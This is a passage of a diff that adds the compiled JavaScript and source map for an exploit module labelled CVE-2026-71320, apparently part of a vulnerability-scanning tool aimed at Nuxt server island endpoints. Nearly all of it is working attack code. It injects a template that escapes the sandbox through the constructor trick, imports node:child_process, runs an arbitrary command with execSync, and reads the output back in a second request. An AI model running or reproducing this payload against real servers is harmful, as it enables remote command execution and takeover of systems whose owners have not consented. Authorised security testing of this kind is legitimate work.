const kickoff = `(function(){var f='a'.constructor.constructor;var g=f('return globalThis')();` +
|
|
33
|
+
`g.__poc=f("return import('node:child_process')")().then(function(m){` +
|
|
34
|
+
`g.__pocOut=m.execSync('${escapeSingleQuotedLiteral(cmd)}').toString();` +
|
|
35
|
+
`}).catch(function(e){g.__pocOut='ERR:'+e.message;});return 'kicked';})()`;
|
|
36
|
+
const readback = "'a'.constructor.constructor('return globalThis')().__pocOut || ''";
|
|
37
|
+
return `<div>{{ ${marker === "stage1" ? kickoff : readback} }}</div>`;
|
|
38
|
+
};
|
|
39
|
+
export const buildIslandProps = (template) => ({
|
|
40
|
+
as: { template },
|
|
41
|
+
});
|
|
42
|
+
/**
|
|
43
|
+
* The island endpoint responds with JSON (`{ id, html, ... }`), not raw HTML — the rendered
|
|
44
|
+
* mustache output lives in `.html`, wrapped in the `<div>` from the template. Strips that wrapper
|
|
45
|
+
* and returns null for an empty/error-shaped response so stage 2's retry loop doesn't mistake a
|
|
46
|
+
* merely-parseable response for the real command output.
|
|
47
|
+
*/
|
|
48
|
+
export const extractIslandOutput = (responseBody) => {
|
|
49
|
+
let parsed;
|
|
50
|
+
try {
|
|
51
|
+
parsed = JSON.parse(responseBody);
|
|
52
|
+
}
|
|
53
|
+
catch (_a) {
|
|
54
|
+
return null;
|
|
55
|
+
}
|
|
56
|
+
const html = parsed === null || parsed === void 0 ? void 0 : parsed.html;
|
|
57
|
+
if (typeof html !== "string")
|
|
58
|
+
return null;
|
|
59
|
+
// Strip tags to a fixed point rather than a single pass — a single pass can leave a nested
|
|
60
|
+
// marker exposed (e.g. "<<script>script>" -> "<script>" after removing just the inner tag).
|
|
61
|
+
// This text is only ever used as a display string (exploit evidence/output), never re-rendered
|
|
62
|
+
// as HTML, but stripping to a fixed point is the standard defense regardless of that sink.
|
|
63
|
+
let text = html;
|
|
64
|
+
let previous;
|
|
65
|
+
do {
|
|
66
|
+
previous = text;
|
|
67
|
+
text = text.replace(/<[^>]*>/g, "");
|
|
68
|
+
} while (text !== previous);
|
|
69
|
+
text = text.trim();
|
|
70
|
+
return text.length > 0 ? text : null;
|
|
71
|
+
};
|
|
72
|
+
const cve202671320 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
73
|
+
const component = DEFAULT_COMPONENT;
|
|
74
|
+
const requestIsland = (template) => __awaiter(void 0, void 0, void 0, function* () {
|
|
75
|
+
const props = buildIslandProps(template);
|
|
76
|
+
const islandHash = computeIslandHash(component, props);
|
|
77
|
+
const url = new URL(`/__nuxt_island/${component}_${islandHash}`, ctx.baseUrl).toString();
|
|
78
|
+
// Payload MUST go in the POST body, not the query string — the endpoint's naive path
|
|
79
|
+
// parser splits on "_", which collides with any "_" in the exec command.
|
|
80
|
+
return rawRequest(url, {
|
|
81
|
+
method: "POST",
|
|
82
|
+
timeout: ctx.timeout,
|
|
83
|
+
signal: ctx.signal,
|
|
84
|
+
headers: { "content-type": "application/json" },
|
|
85
|
+
body: JSON.stringify({ props: JSON.stringify(props) }),
|
|
86
|
+
});
|
|
87
|
+
});
|
|
88
|
+
const result = yield runSandboxRceProof({
|
|
89
|
+
sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
|
|
90
|
+
yield requestIsland(sandboxEscapePayload(cmd, "stage1"));
|
|
91
|
+
}),
|
|
92
|
+
sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
|
|
93
|
+
const resp = yield requestIsland(sandboxEscapePayload("", "stage2"));
|
|
94
|
+
if (!resp || resp.status !== 200)
|
|
95
|
+
return null;
|
|
96
|
+
return extractIslandOutput(resp.body);
|
|
97
|
+
}),
|
|
98
|
+
}, ctx.execCmd);
|
|
99
|
+
if (result.succeeded) {
|
|
100
|
+
return {
|
|
101
|
+
vulnerable: true,
|
|
102
|
+
evidence: `Server Island template-injection RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
|
|
103
|
+
discoveredUrls: [],
|
|
104
|
+
rawFindingExtras: { execOutput: result.output },
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
return {
|
|
108
|
+
vulnerable: false,
|
|
109
|
+
evidence: "Server Island sandbox-escape RCE proof did not succeed (patched, or endpoint/component name unknown).",
|
|
110
|
+
discoveredUrls: [],
|
|
111
|
+
};
|
|
112
|
+
});
|
|
113
|
+
export default cve202671320;
|
|
114
|
+
//# sourceMappingURL=cve-2026-71320.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-71320.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71320.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,OAAO,CAAC;AAC7B,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,kBAAkB,EAAE,EAAE,yBAAyB,EAAE,MAAM,0BAA0B,CAAC;AAGzF,oFAAoF;AACpF,MAAM,iBAAiB,GAAG,UAAU,CAAC;AAErC;;;;;;;GAOG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAAG,CAC7B,IAAY,EACZ,KAA8B,EAC9B,UAAmC,EAAE,EAC/B,EAAE,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,OAAO,EAAE,SAAS,CAAC,CAAC,CAAC,OAAO,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC;AAE1E;;;;;;GAMG;AACH,MAAM,oBAAoB,GAAG,CAAC,GAAW,EAAE,MAA2B,EAAU,EAAE;IAC9E,MAAM,OAAO,GACT,+EAA+E;QAC/E,sEAAsE;QACtE,0BAA0B,yBAAyB,CAAC,GAAG,CAAC,gBAAgB;QACxE,0EAA0E,CAAC;IAC/E,MAAM,QAAQ,GAAG,mEAAmE,CAAC;IACrF,OAAO,WAAW,MAAM,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,WAAW,CAAC;AAC1E,CAAC,CAAC;AAEF,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAAC,QAAgB,EAA2B,EAAE,CAAC,CAAC;IAC5E,EAAE,EAAE,EAAE,QAAQ,EAAE;CACnB,CAAC,CAAC;AAEH;;;;;GAKG;AACH,MAAM,CAAC,MAAM,mBAAmB,GAAG,CAAC,YAAoB,EAAiB,EAAE;IACvE,IAAI,MAAe,CAAC;IACpB,IAAI,CAAC;QACD,MAAM,GAAG,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC,CAAC;IACtC,CAAC;IAAC,WAAM,CAAC;QACL,OAAO,IAAI,CAAC;IAChB,CAAC;IACD,MAAM,IAAI,GAAI,MAAoC,aAApC,MAAM,uBAAN,MAAM,CAAgC,IAAI,CAAC;IACzD,IAAI,OAAO,IAAI,KAAK,QAAQ;QAAE,OAAO,IAAI,CAAC;IAC1C,2FAA2F;IAC3F,4FAA4F;IAC5F,+FAA+F;IAC/F,2FAA2F;IAC3F,IAAI,IAAI,GAAG,IAAI,CAAC;IAChB,IAAI,QAAgB,CAAC;IACrB,GAAG,CAAC;QACA,QAAQ,GAAG,IAAI,CAAC;QAChB,IAAI,GAAG,IAAI,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IACxC,CAAC,QAAQ,IAAI,KAAK,QAAQ,EAAE;IAC5B,IAAI,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;IACnB,OAAO,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC;AACzC,CAAC,CAAC;AAEF,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,MAAM,SAAS,GAAG,iBAAiB,CAAC;IAEpC,MAAM,aAAa,GAAG,CAAO,QAAgB,EAAE,EAAE;QAC7C,MAAM,KAAK,GAAG,gBAAgB,CAAC,QAAQ,CAAC,CAAC;QACzC,MAAM,UAAU,GAAG,iBAAiB,CAAC,SAAS,EAAE,KAAK,CAAC,CAAC;QACvD,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,kBAAkB,SAAS,IAAI,UAAU,EAAE,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QACzF,qFAAqF;QACrF,yEAAyE;QACzE,OAAO,UAAU,CAAC,GAAG,EAAE;YACnB,MAAM,EAAE,MAAM;YACd,OAAO,EAAE,GAAG,CAAC,OAAO;YACpB,MAAM,EAAE,GAAG,CAAC,MAAM;YAClB,OAAO,EAAE,EAAE,cAAc,EAAE,kBAAkB,EAAE;YAC/C,IAAI,EAAE,IAAI,CAAC,SAAS,CAAC,EAAE,KAAK,EAAE,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,EAAE,CAAC;SACzD,CAAC,CAAC;IACP,CAAC,CAAA,CAAC;IAEF,MAAM,MAAM,GAAG,MAAM,kBAAkB,CACnC;QACI,UAAU,EAAE,CAAO,GAAG,EAAE,EAAE;YACtB,MAAM,aAAa,CAAC,oBAAoB,CAAC,GAAG,EAAE,QAAQ,CAAC,CAAC,CAAC;QAC7D,CAAC,CAAA;QACD,UAAU,EAAE,GAAS,EAAE;YACnB,MAAM,IAAI,GAAG,MAAM,aAAa,CAAC,oBAAoB,CAAC,EAAE,EAAE,QAAQ,CAAC,CAAC,CAAC;YACrE,IAAI,CAAC,IAAI,IAAI,IAAI,CAAC,MAAM,KAAK,GAAG;gBAAE,OAAO,IAAI,CAAC;YAC9C,OAAO,mBAAmB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC1C,CAAC,CAAA;KACJ,EACD,GAAG,CAAC,OAAO,CACd,CAAC;IAEF,IAAI,MAAM,CAAC,SAAS,EAAE,CAAC;QACnB,OAAO;YACH,UAAU,EAAE,IAAI;YAChB,QAAQ,EAAE,4DAA4D,GAAG,CAAC,OAAO,aAAa,MAAM,CAAC,MAAM,EAAE;YAC7G,cAAc,EAAE,EAAE;YAClB,gBAAgB,EAAE,EAAE,UAAU,EAAE,MAAM,CAAC,MAAM,EAAE;SAClD,CAAC;IACN,CAAC;IAED,OAAO;QACH,UAAU,EAAE,KAAK;QACjB,QAAQ,EACJ,uGAAuG;QAC3G,cAAc,EAAE,EAAE;KACrB,CAAC;AACN,CAAC,CAAA,CAAC;AAEF,eAAe,YAAY,CAAC"}
|